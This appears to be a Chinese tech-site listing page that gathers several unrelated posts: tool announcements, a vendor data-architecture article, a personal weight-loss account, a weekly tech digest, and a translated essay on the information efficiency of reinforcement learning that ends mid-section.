包含关键字 typecho 的文章

首先感谢各位 V 友,一个月前开源的时候,只是在 V 站和 L 站发了篇贴子,没想到一下子起来了😄

开发 ChatLab 的前后还是发生了很多事情的,在开源来到一个月的时候,它的 Star 来到了 3500 (写文章花了几天,现在又快 4000 了),正好很久没写文章了,于是想写一篇笔记记录一下,也欢迎 V 友们体验~

顺便介绍一下它:ChatLab 是一个本地化的聊天记录分析工具,它的核心功能是专注于本地化的聊天记录分析,通过 SQL 、AI Agent 、NLP 等能力,实现了一些比较有意思的聊天记录分析功能。

博文地址:开源首月 3500 Star ,聊聊 ChatLab 的过去、现在和未来

Github: https://github.com/hellodigua/chatlab

在官网可以预览到一些分析的结果:chatlab.fun

欢迎提出反馈意见

本文首发于 Aloudata 官方技术博客:《数据工程师摆脱“写不完的宽表 SQL”的 4 步法:从低效到高效》转载请注明出处。

摘要:本文探讨了数据工程师在传统“数仓+宽表”模式下,因需求线性增长而陷入的“宽表困境”。为解决此问题,我们提出一套基于 NoETL 语义编织 技术的四步方法论,核心是通过构建企业级 语义层 和 虚拟业务事实网络,以 声明式指标定义 替代手写 SQL,并利用 智能物化加速 保障性能,最终实现指标口径统一、开发效率提升和数据成本优化。

前置条件:认清“宽表困境”的本质与代价

摆脱低效工作的第一步,是深刻理解其根源。传统的“数仓+宽表”模式在应对敏态业务分析需求时,已陷入一个经典的“不可能三角”:效率、质量、成本难以兼顾。

“宽表数量随业务需求线性增长,开发与运维成本失控:每新增一个分析维度或业务场景,就需要新建一张宽表,导致数仓中宽表数量激增,数据冗余严重。” —— 外部市场情报

这种困境具体表现为:

  1. 线性膨胀的开发负担:业务每提出一个新需求(如新增一个分析维度),数据工程师就需要排期、开发一张新的物理宽表。这不仅导致交付周期长达数周,更造成底层数据模型的混乱与冗余。
  2. 巨大的人才缺口与质量风险:大数据领域专业人才稀缺,不同工程师对同一业务逻辑的理解和实现方式各异,导致“同名不同义”的指标口径混乱,数据对账成本高昂。
  3. 隐形的成本黑洞:据内部统计,企业数据湖仓中的数据冗余平均高达 5 倍以上。某头部券商通过重构数据架构,每年可节省超千万元的存储与计算成本。
  4. 业务与数据的冲突:业务人员面临“数据不好找、找了不敢用、用了用不对”的窘境,而数据工程师则长期困在“接需求—建宽表—改宽表”的循环中,无暇进行高价值的数据资产治理。

第一步:从“物理宽表”转向“虚拟业务事实网络”

核心在于改变工作模式:不再为每个报表手工建物理宽表,而是在 DWD 明细数据层之上,通过声明式策略构建一个逻辑统一的“虚拟业务事实网络”。

  • 技术核心:采用 语义引擎 (Semantic Engine),数据工程师在界面中声明不同业务实体(如表)之间的逻辑关联关系(Join 条件),而非进行物理打宽。系统在逻辑层面自动构建一张“虚拟明细大宽表”。
  • 架构定位:直接对接企业现有的数据湖仓的 DWD 层,无需再建设繁重的 DWS/ADS 层物理宽表。这实现了 “做轻数仓” 的核心目标。
  • 核心价值:彻底消除“为特定报表建宽表”的烟囱式开发。所有上层分析需求,都基于同一套逻辑模型,从源头保证了数据源的统一与简化。

第二步:以“声明式指标定义”替代“手写 SQL”

将复杂的业务逻辑从手写 SQL 代码中抽象出来,通过配置化的方式定义,实现“定义即开发”。

在语义编织层中,指标被解构为四大语义要素,支持零代码定义:

要素描述能力举例
基础度量最基础的原子计算单元。简单聚合(交易金额)、时间维度多次聚合(月日均最大值)、非时间维度多次聚合(单股排名)。
业务限定对数据进行筛选的条件。常规筛选(状态=‘已支付’)、指标结果筛选(上月交易量 >0 的用户)、Top N 筛选。
统计周期计算指标的时间范围。标准周期(近 30 天)、自定义周/财年、自定义日历(近 5 个交易日)。
衍生计算对已有指标进行再计算。快速衍生(同环比、占比)、复合指标(多层嵌套聚合、跨行计算)。

定义即治理:在创建指标时,系统会自动进行判重校验,从源头避免口径不一致的问题。所有复杂业务逻辑,如留存率、比率类指标,均可通过声明式配置完成。

第三步:启用“智能物化加速引擎”,实现性能与成本平衡

逻辑定义解决了灵活性与一致性问题,但海量明细数据的查询性能仍需保障。这通过 “声明式配置驱动的智能物化加速” 来实现。

三级物化机制:用户可根据业务场景,声明式地配置加速策略。

  • 明细加速(预打宽):将高频查询涉及的逻辑关联提前物化。
  • 汇总加速(预汇总):按常用维度组合预聚合,系统自动判重复用。
  • 结果加速:适用于完全固定的报表场景,直接缓存结果。

智能路由:当业务用户在 BI 工具或通过 API 发起查询时,语义引擎会自动将查询请求路由到最优的物化结果上,并对 SQL 进行透明改写。整个过程对用户无感。

性能承诺:即使在百亿级数据规模下,也能实现 P90 < 1s, P95 < 3s, P99 < 5s 的秒级响应,满足高并发分析需求。

第四步:遵循“资产演进三步走”法则,平滑落地

架构升级不应是颠覆式的“推倒重来”。采用渐进式策略,确保平稳过渡并快速见到成效:

  1. 存量挂载:将现有逻辑成熟、查询稳定的物理宽表直接挂载到语义层,零开发实现口径统一,快速建立业务信任。
  2. 增量原生:所有新产生的分析需求,不再新建宽表,而是直连 DWD 明细层,通过语义层敏捷响应,从根本上遏制宽表的继续膨胀。
  3. 存量替旧:逐步下线那些维护成本高、逻辑变更频繁的“包袱型”旧宽表,最终完成从“物理宽表堆砌”到“语义编织”的架构升级。

避坑指南:从“SQL 工人”到“数据架构师”的思维转变

成功转型的关键在于思维模式的升级:

  • 价值重定位:从“满足单个需求”转向“沉淀可复用资产”。关注指标的业务含义、可复用性及在企业内的全局一致性。
  • 协作模式升级:借鉴行业成功的 “136”协作模式:科技团队只需定义 10% 的原子指标;数据分析师可配置 30% 的派生指标;剩下 60% 的分析需求由业务用户通过指标与维度的灵活组装自助完成,极大激活数据自服务能力。
  • 警惕技术幻觉:单纯引入更快的查询引擎或 NL2SQL 工具,无法根治问题,因为它们依然绕不开底层混乱的物理表依赖。真正的破局点在于构建承上启下的 语义编织 层。

成功标准:如何衡量你已经“摆脱”了低效工作?

摆脱低效工作不仅是感觉,更应有可量化的业务与技术指标作为验证:

维度成功指标
效率指标指标开发效率提升 10 倍 以上(如从 1 天 3.1 个到 1 天 40 个),取数周期从天/周缩短到分钟级。
质量指标企业内指标口径实现 100% 一致,业务对数据结果的质疑和核对工作量大幅减少。
成本指标基础设施(存算)成本节约 50%,通过减少冗余宽表释放超过 1/3 的服务器资源。
业务指标业务自助完成 80% 以上的数据查询需求,基于语义层的 AI 问数准确率达到 92% 以上。

常见问题(FAQ)

Q1: 构建语义层是否意味着要完全抛弃现有的数仓和宽表?

不是。遵循“资产演进三步走”法则,初期可以将现有稳定宽表直接挂载到语义层,实现口径统一。新需求则直连明细层开发。这是一个平滑演进、逐步替换的过程,而非颠覆式重建。

Q2: 业务需求变化频繁,声明式定义的指标能跟上吗?

这正是语义层的优势所在。当业务规则变化时,只需在语义层更新一次指标定义,所有依赖该指标的下游查询、报表、API 都会自动获取新结果,实现“一次变更,处处生效”,极大提升了响应敏捷性。

Q3: 这种模式对数据工程师的技能要求是不是更高了?

恰恰相反,它降低了重复性编码的门槛。数据工程师可以将精力从写不完的宽表 SQL 中解放出来,转向更核心的数据模型设计、业务语义梳理、数据资产治理和性能调优等高价值工作,实现职业能力的升级。

Q4: 智能物化加速会不会造成额外的存储成本压力?

智能物化是按需、声明式配置的。系统会根据查询频率、数据量等因素,自动选择最优的物化策略(明细、汇总或结果加速),并复用已有的物化表,避免重复计算和存储。长期看,通过减少冗余宽表,整体 TCO(总拥有成本)是下降的。

核心要点

  1. 架构升级是根本:摆脱“宽表困境”的关键在于从“物理宽表堆砌”升级到基于 语义编织 的“虚拟业务事实网络”,实现逻辑与物理的解耦。
  2. 工作模式转变:数据工程师的核心工作应从“手写 SQL 建表”转向“声明式定义业务语义与关联”,并通过配置策略驱动系统自动化生产,效率可提升 10 倍。
  3. 平滑落地策略:采用“存量挂载、增量原生、存量替旧”的三步走法则,在不影响现有业务的前提下,稳步推进现代化数据架构建设。
  4. 价值可量化:成功的转型应体现在指标口径 100% 一致、业务自助分析比例大幅提升、以及基础设施成本的显著节约上。

问题

年初去体检了,检查出来脂肪肝、血压、血脂、少量还有其它相关异常,我的心态炸了。决心今年要把体重减下去,正常方式减不下去就上科技。

我今年 30 岁,体重 100kg ,身高 182cm ,当了好多年的程序员了,没怎么管理自己的身体,可能是觉得年轻?现在思考人生,身体也是要投资的。

分析

回忆下最近这些年的历程,体重以 10 斤一个阶段一个阶段涨到了 100kg 。中间尝试过各种控制饮食的方式,都是因为晚上饿、影响白天工作的精神状态而结束。

饮食习惯是一个重要的肥胖原因,从农村到城市这种生活方式的变化,从事软件行业,需要重体力到重脑力、轻体力。而饮食伴随着这个过程,没有发生结构性的改变。加上北方都偏爱面食,饮食中的碳水失衡。吃馒头、面条升糖快,持续时间短,同时这个吃法会使得吃青菜、肉的比重减少。

实施

我用 Gemini 量身定制了一份减重计划,要确保不会晚上饿、白天工作的精力够,吃的东西便于安排,运动符合我能做的。
我拿着这个计划作为上下文,每周开一个会话,咨询吃饭、意外情况、运动和睡眠等。周日总节本周的情况,作为上下文给下个会话。
AI 这在个过程中可以解答我各种问题,以及意外情况的处理预案,提供的情绪价值也很充足。
比如我想吃重口味的时候,找了一些相对可控的方案。比如我想吃点有味的、辣的时候,给我推荐了单山蘸水。我可以拿黄瓜蘸这个料吃,或者调上醋、香油、单山蘸水,火锅涮点牛肉、苦菊、白菜、菠菜等蘸着吃,也没有怎么亏待自己的嘴。

效果

现在是第三周周五,我体重下降了 9.5 斤,感觉身体状态好不少,精力不像先前感觉每天有限,只能做一点点事情。饮食也是可持续的状态,没有特别想吃什么,或者就是咨询下 AI 后少吃一点,补充运动或者调整饮食对冲下。

分享下我的方案

减重方案

减重方案

实施信息

实施信息

您是否想过,如何让 AI 编程助手不只是“回答问题”,而是真正理解业务上下文、调用内部工具、执行可靠动作,并融入企业级工作流?

在 Microsoft AI Genius 第三期课程中,您将了解如何为智能 GitHub Copilot 副驾驶® 等 AI 助手创建 MCP 工具,通过 Azure Functions 构建智能代码片段服务;掌握使用 Microsoft Agent Framework 实现持久化智能体;利用 Durable Functions 编排多智能体工作流,并通过 Azure Cosmos DB 向量搜索+OpenAI Embeddings 实现语义搜索。

9c9c49b351c8a3289bb16241e1448f29.jpg

您将学到

  • 轻量起步:用 Azure AI Agent Service 和 Azure Functions 构建能回答问题并触发动作的智能体。
  • 融通数据:通过 MCP 和 Azure Cosmos DB 添加业务上下文并连接数据。
  • 扩展规模:编排多个智能体,支持跨团队复杂工作流。
  • 放心部署:在 Flex Consumption 计划下实现安全、监控和成本优化。

直播互动福利

本期课程不仅有硬核技术拆解,更准备了有奖互动福利!观看直播课程,根据小助手指引参与直播互动,并加入技术交流群参与抽奖,即有机会获得 Microsoft AI Genius 定制好礼!

无论您是开发者、架构师,还是正在探索企业 AI 落地路径的技术决策者,这场直播都将为您提供一套可复用、可扩展、面向生产环境的智能体构建范式。

2 月 4 日 14:00 - 15:30,锁定 Microsoft AI Genius 第三季第三期直播,解锁下一代 AI 智能体的工程实践!

不知道点了哪里,就开始花屏,导致只能重新启动浏览器。

浏览器:Chrome

操作系统:MacOS 15.2

1331791769740620_.pic

1331801769740647_.pic

这里记录每周值得分享的科技内容,周五发布。

本杂志开源,欢迎投稿。另有《谁在招人》服务,发布程序员招聘信息。合作请邮件联系[email protected])。

封面图

刚刚建成四川宜宾高铁枢纽门户区,以高铁站为核心,包括8座塔楼、中央公园、数字艺术中心和商业文化街区。(via

你是第几级 AI 编程

史蒂夫·耶格(Steve Yegge)是一个著名的美国程序员。

他在亚马逊和谷歌都干过,但是他出名的不是写软件,而是写博客。

他喜欢在个人网站发布长篇大论,滔滔不绝地议论,直抒胸臆,毫不避讳。他的好多文章都在业内被广泛阅读,引起很大反响。

这些文章后来结集出版,甚至引进了国内,书名就叫《程序员的呐喊》(人民邮电出版社,2014)。

它的书名里面的"呐喊",英文单词是 ranting,直译就是"咆哮",确实就是他的文章风格。

这个月,他又发表了一篇最新文章,谈他对 AI 编程的看法。

他说 AI 编程有8级,他已经到了第8级,也就是最高级。

第1级,还没有接触到 AI 编程,你的 IDE 还是正常的样子(下图)。

第2级,你在 IDE 装了 AI 插件,开启了侧边栏,AI 时不时提出代码建议,问你是否接受(Yes or No)。

第3级,你开始信任 AI 编程,进入了 YOLO 模式("你只活一次"模式, You Only Live Once)。为了节省时间精力,你不再逐条确认 AI 的建议,只要是 AI 生成出来的东西,你就一路按 Yes,统统接受。

第4级,AI 占据的屏幕宽度越来越大,手工编辑的代码区仅用于比对代码差异。

第5级,你索性不要代码区了,改用命令行(比如 Claude Code),所有的屏幕宽度都留给了 AI。你现在不看 AI 的生成结果了,只看它的完成进度。

第6级,你觉得只用一个 AI 太慢,于是打开3到5个窗口,同时进行 AI 编程,加快速度。

第7级,同时打开的 AI 编程窗口到了10个以上,已经是你手工管理的极限了。

第8级,你开始使用 AI 任务编排器,让计算机管理并行的多个 AI 编程。

以上就是 AI 编程的8个级别,你是第几级?

到这里还没完,前面说了,史蒂夫·耶格本人已经到了第8级。他需要工具来管理并行的 AI 编程,但是找不到满意的工具。

于是,他就指挥 AI 写,并将这个工具起名为"煤气镇"(Gas Town)。这个名字来自电影《疯狂麦克斯》(Mad Max)第四部,是里面大反派老乔的老巢。那里到处都是二手零件组成的燃气机,能正常工作,但是看上去摇摇欲坠。

他说,"煤气镇"的开发就是东拼西凑,不考虑合理性,能用就加上去,没抛错就接受。"它有22.5万行 Go 语言代码,我从来没看过它的代码,也从来没想过要看。"

他建议用户不要使用这个工具,因为使用它需要全心全意信任 AI。并且,就算相信它,它也可能把事情搞得一团糟。另外,多个 AI 一起跑,很费钱。

但是,他还是把这个工具放到网上,因为它非常好玩。截至到上周,已经得到了6000颗星。

科技动态

1、牛的智力

一个奥地利农民惊奇地发现,自家的牛会从地上,叼起一根棍子来挠痒。

这个发现令人震惊,因为这表明牛会使用工具,以前从未有人提过。

目前,除了人类之外,只有黑猩猩被发现会使用工具。科学家表示,需要重新认识牛的智力。

2、轨道储能系统

一家美国公司设计出"轨道储能系统",利用山地轨道储藏能量。

电力充足时,索道通过电动机,把重物从山脚运到山顶。

电力不足时,就利用重力势能,让重物顺着轨道从山顶滑到山脚,通过索链带动发电机。

这个系统的优点是简单可靠,成本低,连续使用多年,也不会出现性能衰减。

3、喉部发声贴片

上一期周刊介绍了会说话的围脖,本期还有一个类似的发明。加州大学洛杉矶分校的研究团队发明的喉部贴片,可以让不能说话的病人重新发声。

某些病人由于喉部疾病,无法再发声了,成了哑巴,但是他们的喉部肌肉还能动。

这种贴片贴在病人的喉部,能够感知病人的喉部肌肉运动,并将这种运动转为电信号,发送出去。

计算机收到电信号以后,再转成对应的语音,从而实现发声。

为了将喉部肌肉运动与各种语音对应起来,研究团队使用了机器学习,通过算法将电信号与单词之间实现了关联。

文章

1、2026年的 Linux 音乐播放器(英文)

本文介绍 Linux 系统现在主要的几种音乐播放器。

2、选择性禁用 HTTP/1.0 和 HTTP/1.1(英文)

本文介绍如何设置 nginx,禁止 HTTP/1.0 和 HTTP/1.1 协议,只有白名单里面的客户端可以通过,这杜绝了绝大部分的攻击和爬虫。

3、我扫描了所有的 GitHub "孤儿提交"(英文)

如果你不小心把密码提交到 GitHub,怎么办?你可能会立刻修改代码,强制覆盖上次的提交。

本文告诉你,这样不行。因为 GitHub 不删除任何提交,你上次提交实际上还在。作者扫描了所有 GitHub 的强制提交事件,真发现了许多泄漏的密码,

4、CSS 动画计数器(英文)

本文介绍纯 CSS 动画计数器的各种写法。

5、我的 n8n 用例(英文)

n8n 是一个工作流编排器,可视化生成自动操作脚本。作者介绍了自己的用例:通过聊天软件,将每一笔费用发给 n8n 本地服务器,它会用 AI 进行分类,再将结果存入谷歌表格。

6、2025应该知道的 HTML 新知识(英文)

本文介绍 HTML 的一些新属性和新功能。

7、新的自托管应用推荐(英文)

作者推荐一些他个人喜欢的自托管应用,都相当不错。

工具

1、teemux

一个基于 JS 语言的命令行工具,将多个进程输出的日志放在一处查看,可以命令行查看,也可以浏览器查看。

2、daedalOS

浏览器里面的虚拟桌面环境,代码开源。

3、Dendron

VS Code 的笔记插件,将笔记的层级结构当作目录,并支持图表和内部链接,参见介绍文章

4、CWD(Cloudflare Workers Discuss)

基于 Cloudflare Workers 的网站评论系统。(@anghunk 投稿)

5、Mouse Gestures

开源的 Chrome 浏览器插件,使用鼠标滑动轨迹,完成各种浏览器操作。(@Chance-fyi 投稿)

6、relationship-ts

一个 JS/TS 库,用来计算中国亲戚关系(称谓),Demo 试用。(@ExploringTheCodeWorld 投稿)

7、Deck

macOS 剪贴板管理的开源桌面应用,特点是有 Touch ID 保护和端到端加密。(@yuzeguitarist 投稿)

8、EdgeTunnel (Refactored)

一个部署在 Cloudflare Workers 的隧道方案,代码进行了重构。(@tianrking 投稿)

9、Mail Studio

开源的可视化邮件编辑器,通过拖拽组件,生成响应式邮件模板,试用 Demo。(@wzc520pyfm 投稿)

10、TermClean

macOS 开源应用,在终端界面显示各种软件包占用的磁盘空间,并提供清除软件包功能。(@daijinhai 投稿)

AI 相关

1、ebook2audiobook

电子书转成有声书的工具。

2、WorkAny

开源的 AI Agent 桌面客户端,能够执行任务、操作文件,类似于 Claude Cowork。(@idoubi 投稿)

3、Voice Key

开源的桌面端 AI 语音转文字的工具。(@yexia553 投稿)

4、分镜大师(Storyboard Studio)

开源的 Windows 应用,使用 AI 对视频进行分镜。(@BroderQi 投稿)

资源

1、Claude Code 实战(Claude Code in Action)

Anthropic 官方的 Claude Code 免费入门教程,一共15节视频课,总长约1小时。

2、GitHub 证书

这个网站可以将某个用户2025年的 GitHub 活动,变成一张证书样式的图片。

3、Fontsniff

上传文本图片,自动识别使用了什么字体。(@cosmicqbit 投稿)

4、Future Style Periodic Table

开源的可视化元素周期表,会展示核外电子排布。(@SeanWong17 投稿)

5、nihongo

免费的日语学习平台,有词汇、听力、文章等。(@FrankZhai367 投稿)

图片

1、我不再写代码,而是雕刻代码

我的编码方式发生了变化,现在很少自己写了,都交给 Claude Code 自动完成。

我要做的,就是将 AI 的输出结果打磨成更持久耐用的东西。

AI 几乎从不删除无用代码。如果没有雕塑家,最终只会得到一座臃肿不堪、毫无特色、重得无法站立、也无法讲述故事的雕像。

2、蝴蝶壁画

一位法国艺术家,在世界各地的大楼外立面,绘制栩栩如生的蝴蝶标本壁画,唤起人们对生物多样性的关注。

以下都是真实照片,不是 AI 生成的。

迈阿密

休斯顿

西班牙

纽约

法国

文摘

1、为什么有些公司愿意"黑箱编程"

有些公司已经把编程完全交给了 AI,根本不看代码了,AI 写什么就运行什么。

我把这叫做"黑箱编程",开发过程变成了一个黑箱,根本不需要人类介入,也不欢迎人类介入。它所做的就是把规格参数转换成软件。

我知道,有些小公司就这么干,公司的人数一般不到五个人。虽然这种事情简直难以置信,但很可能就是我们的未来。

我问过一个这样的公司,他们为什么要这么做?

他解释说,作为小公司,他们团队的目标是证明产品的有效性。

人类的作用是设计出一个系统:找到新的模式,帮助 AI 有效工作,证明正在构建的软件产品是稳健有效的。剩下的事情就都交给 AI,这样效率最高。

我认为,这个解释令人信服。

这个公司很小,但在短短几个月内就开发出了可以运行的产品。团队当中有些人拥有超过20年的软件开发经验,曾参与过开发可靠性要求极高的系统,所以他们并非抱着天真无知的心态选择了"黑箱编程"。

我期待着,看到他们拿出最终产品,投入市场的那一刻。

言论

1、

大多数组织习惯于收到系统警报后,直接质问:"是谁刚刚发布了代码变更?" 人们认定合并代码的人肯定了解它的工作原理,并且能够迅速修复问题。

如果你部署的代码既不是某个人写的,也没有人真正理解它,会发生什么?

-- 《二十年的 DevOps 实践》

2、

JavaDoc 之类的工具,可以从代码直接生成文档。我觉得,这种自动生成的文档,价值并不大,未必比直接阅读源代码容易。

没有什么可以替代手写的、有组织的和人工编辑的文档。

-- 《什么是好的文档,以及如何编写》

3、

你学过的、使用过的每种语言和技术,即使会过时,也是有价值的,它们都会让下一种语言或技术更容易学习。

-- 《他们骗了你,开发软件真的很难》

4、

习惯了 AI 编程之后,有一天,我震惊地发现,自己竟然如此轻易地掉进了陷阱。

我已经变得对自己的代码库一无所知,也懒得自己去修复。只要用上了 AI,我就心情愉快,AI 让我感觉自己更聪明、更高效、掌控一切。一旦离开了 AI,我才发现这一切都只是幻觉。

-- 《有了 AI,我变得懒惰和愚蠢》

往年回顾

面对 AI,互联网正在衰落(#336)

蓝色指示灯的解决方案(#286)

中国的阳光地带(#236)

低纬度,高海拔,气候优势(#186)

(完)

前言

这周想着上架下主流的一些 linux 管理面板(宝塔、1panel 、GMSSH ),花了点时间按照要求给 1panel 的仓库提交了 PR,迟迟没人回复,就找到他们社区的联系方式,发现需要付费才能联系到他们。
07fcbd4d347a93a02af46386275c519b

那就充值 10 元,进群看看。

f377b282e3107f003ec6f88a75c217a7

进群后,我说明来意后才知道需要 10kstar 才能上架🥹

image-20260130093549173

image-20260130093611819

这个 star 要求在他们对外发布的文档里没找到有说

226099b1216852dca5c4d080cebb5291

这里也算是给大家踩坑了,需要上架商店的好兄弟需要注意下这一点了😂。

上架宝塔

宝塔这边的社区氛围就比较好了,官网有说明直接加他们的官方群(提供了 QQ 群号)即可,进群后,他们还挺热情的。
image-20260130095048787

image-20260130095121390

上架 GMSSH

这个平台的体验就很好了,官方很热情的帮我解答,很快就完成了上架。
image-20260130095329500

image-20260130095347067

image-20260130095406074

image-20260130095417409

image-20260130095440405

image-20260130095459769

效率非常高。

image-20260130095543778

项目地址

写在最后

至此,文章就分享完毕了。

我是神奇的程序员,一位前端开发工程师。

如果你对我感兴趣,请移步我的个人网站,进一步了解。

编者按: 为什么在强化学习(RL)中,模型往往需要消耗比有监督学习多出数个数量级的计算资源,却只能换来看似微薄的性能提升,且常常陷入训练不稳定的泥潭?

本文从信息论角度出发,对比了有监督学习与强化学习在单位样本中可获取信息量的根本差异:前者通过明确的正确标签直接提供高信息密度的学习信号,而后者仅依赖二元的成功/失败反馈,其信息熵在通过率极低或极高时趋近于零。作者进一步指出,只有当模型的“通过率”处于约 50% 的“金发姑娘区”时,RL 才能高效学习,而这通常只出现在训练末期。此外,文章还剖析了 RL 中梯度估计方差巨大、容易被简单启发式策略主导、难以培养通用推理能力等深层问题,并反思了人类学习机制与当前 model-free RL 的本质差距。

这篇文章提醒我们:若想让强化学习真正释放其潜力,不能仅靠堆算力,而必须重新思考如何设计更密集、更结构化的反馈机制 —— 否则,我们可能只是在用极其昂贵的方式,重复确认一个早已写在预训练权重里的答案。

作者 | Dwarkesh Patel

编译 | 岳扬

最近,人们[1]一直在讨论[2]:在强化学习(RL)中生成单个样本所需的计算量(FLOPs)远高于有监督学习(supervised learning)。在预训练阶段,模型对每一个用于训练的 token 都能立即获得一个学习信号;而在 RL 中,必须展开一整条长达数万 tokens 的推理思维链,才能在最后得到一个奖励信号(例如,我写的代码单元测试是否通过?这道数学题的答案是否正确?等等)。

但这只是问题的一半。这里有一种简单的方法可以比较强化学习与有监督学习的学习效率:

Bits/FLOP = Samples/Flop × Bits/Sample

我还没听到有人讨论我们公式中的这一项:Bits/Sample(每个样本包含多少有用信息)。而且在训练的大部分阶段,强化学习的每一个样本所包含的“有效学习信息量”比有监督学习要低得多。

01 用大白话来说

在有监督学习(也就是预训练)中,模型只是在疯狂吸收信息(bits)。每一个 token 都像是一条线索,它不仅能帮你理解语言本身的构造,还能让你窥见创造这段语言的思维过程,以及那个思维所感知的现实世界。在训练初期,当你用一个完全随机初始化的模型时,你对这些内容都处于最大程度的不确定状态。因此,每个 token 都会让你“恍然大悟”。而且你会立刻得到一个精确的信号,知道自己对正确答案的预测错得多离谱,以及需要调整哪些参数来减少错误。

假设你从一个随机初始化的模型开始,并启动训练。如果你使用有监督学习对 “The sky is” 这个短语做 next-token-prediction,那么训练循环会这样工作:“正确答案其实是 ‘blue’。你预测 ‘blue’ 的概率只有 0.001%。现在,请大幅加强那些本该指向 ‘blue’ 的连接权重。好了,下一个 token。”

而在使用策略梯度(policy gradient)的强化学习中,你会增加所有回答正确的轨迹的权重,并降低所有回答错误的轨迹的权重。但问题是,一个还没怎么学会东西的模型,几乎不可能凭运气就答对。

如果你用 RL 来做“The sky is”的 next-token-prediction,训练循环大概会是这样:“好吧,‘halcyon’ 是错的,别再做导致输出‘halcyon’的操作了…… 好吧,‘serendipity’ 也是错的……” 然后就这样反复试错,猜错的次数差不多得有词汇表总量那么多(约 10 万次)。

02 详细分析

让我们思考一下:随着通过率(p)的变化,每个样本所能获得的最大信息量(bits/sample)会如何变化。这里的“通过率”指的是你给出正确答案的概率。 为简化起见,我们假设答案长度只有一个词元。那么,对于一个完全未经训练的模型,其通过率仅仅是 1/(词汇表大小)。

在有监督学习中,每个样本都会明确告诉你正确标签是什么。你学到的新信息量,取决于你看到正确答案时有多“惊讶” —— 你的通过率越低(即正确答案的先验概率越小),你从这个标签中学到的东西就越多。信息熵的基本公式告诉我们:在有监督学习中,你从每个样本中最多可以学到 -log(p) bits 的信息。

而在强化学习中,你只会被告知答案是否正确。你能从中提取的信息量,受限于你对这个二元结果(对/错)的不确定性。如果你几乎总是通过(p ≈ 1)或几乎总是失败(p ≈ 0),那么每次试验都很难让你感到意外。当通过的概率像抛硬币一样时(p ≈ 0.5),你学到的东西最多。 对于一个二元随机变量,其信息量的上限由熵公式给出:在 RL 中,你从每个样本中最多能学到 Entropy(p) = -p log(p) - (1-p) log(1-p)1 bits 的信息。

好,我们来画图。

看起来还不算太糟。是的,在通过率前 50% 的范围内,预训练明显更好,但在后 50% 的范围内,强化学习表现更佳。然而,这张图极具误导性。根据缩放定律(scaling laws)中的幂律关系,每当你想把“通过率”(pass rate)提升一个数量级,你都需要投入大致相同量级的计算资源。 如果你花了 X FLOPs 将通过率从 1/100,000 提升到 1/10,000,那么你也需要 X FLOPs 才能将通过率从 1/10,000 提升到 1/1,000。因此,我们应该使用对数刻度来表示通过率 —— 以便使 X 轴的每一单位增量对应于相同数量的计算开销(FLOPs)。

这张图看起来真令人沮丧。强化学习在样本信息密度上与预训练相当的区域,仅仅是训练末期的一小段,而且此时模型本身已经相当不错了。

再次强调,这一问题完全独立于另一个观点:即从强化学习中获取单个样本(也就是在得到任何信号前必须完整展开一整条推理轨迹)可能需要耗费高出数百万倍的计算量。

03 方差(variance)让实际情况甚至比这更糟

训练初期的强化学习,实际情况其实比上面描述的更为严峻。当通过率很低时,对梯度的估计会变得极其混乱且难以预测。 要么在当前 batch 生成的样本中,根本就没有采样到正确答案,在这种情况下,几乎得不到任何有用的学习信号。要么碰巧采样到了一次,然后就会得到一个巨大的梯度峰值。模型的训练过程会被剧烈地、不规则地“拉扯”(梯度忽大忽小、方向混乱),如果要追求高效、稳定的训练,这样是非常糟糕的。2

有趣的是,预训练的问题恰好相反,方差(variance)在训练末期会变得非常高。随着预训练的推进,你会逐渐耗尽那些可约损失(reducible loss,即模型实际能从数据中学到的东西)。剩下的主要都是不可约损失(irreducible loss),不可约损失指的是网络文本数据固有的不可预测性。

提示词 “Bob’s favorite color is” 应该怎么结尾?这完全取决于 Bob 是谁。对于这种问题,并不存在什么标准正确答案能让你的超级智能模型通过训练达到很高的预测准确率。但是,模型仍然会根据某人在网上留下的随机答案,获得梯度更新(gradient update)。而这种噪音,会淹没当前 batch 中少数几个真正可学习的词元为我们提供的真实信号。我不知道这是否准确,但预训练阶段末期出现的这种方差激增,似乎与为什么在预训练过程中需要增大 batch sizes 有关。

04 进入 RL 的“金发姑娘区”(Goldilocks zone)

如果 RL 在通过率远高于 1% 时效果最佳,那么这就引出了一个问题:我们该如何设计 RL 训练过程,才能让模型进入并维持在这个高效学习的状态中?

例如,在进行强化学习(RL)时,我们可以通过“预训练更多的数据”和“增加推理时的计算量(比如让模型想得更久)”这两种方式,来让模型变得更聪明、回答得更准确,提高模型的“通过率”,从而让每个样本带来更多的有效信息(bits)。

有观点指出,课程学习(curriculum learning)在预训练中作用不大[3],但在 RL 中却常常不可或缺[4]。这完全说得通 —— 因为 RL 只有在通过率处于这个“金发姑娘区”时,每个样本才能带来有意义的信息量。因此,为了训练效果好,你必须精心安排学习内容的顺序,要保证问题的难度是随着模型能力的提升而同步加难的,不要一下子给太难的题,也不要一直做太简单的题。

作者提出的“通过率”理论可以很好地解释为什么“自我对弈”(像 AlphaGo 那样自己跟自己下棋)在强化学习历史上特别管用。因为当你跟一个水平旗鼓相当的对手比赛时,你赢的概率大约就是 50%。在这个理论中,50%是一个最佳状态,意味着每次比赛结果(输或赢)带给你的信息量是最大的,能让你学得最快。

但自我对弈并不是唯一能让训练过程中保持高通过率的方法。我们还可以设计出一种“proxy evaluation”机制,这种机制能提供更密集的反馈信息。这里的“密集”具体指以下两种情况之一:

1)Samples/FLOP 密度:通过“proxy evaluation”方法,我们可以在一个强化学习回合刚开始不久时就估算出最终的奖励,而不必真的把整个过程跑完,从而省去了后续的大量计算消耗。这种机制其实就是所谓的“价值函数”。

2)Bits/Sample 密度:我们可以设计一个比最终目标更易达成的 proxy objectives 来指导模型。我能想到的最简单例子是过程奖励模型(process-reward model),它会这样说:“嘿,这次生成的答案虽然错了,但我看得出来,它一开始的推理方向是对的。那我们就给这些早期的 token 增加一点权重。”

Deepseek R1[5] 论文的 4.2 节讨论并解释了,为什么直到现在,要为大语言模型开发出像这样好用的 proxy objectives 依然是一件很难的事情。

05 信息量虽少,但价值高

虽然在强化学习中,每单位计算量(FLOP)学到的 bits 确实少得多,但这些 bits 却非常重要,它们与预训练中获得的 bits 信息不能简单地相提并论。 这其中主要有两个关键原因:

  • 预训练就像是让模型把互联网上现有的数据全记下来,但这种知识与“如何完成具有经济价值的任务”只有部分且间接的关联;而强化学习则是直接教模型怎么去解决那些真正有用、能产生价值的实际问题。
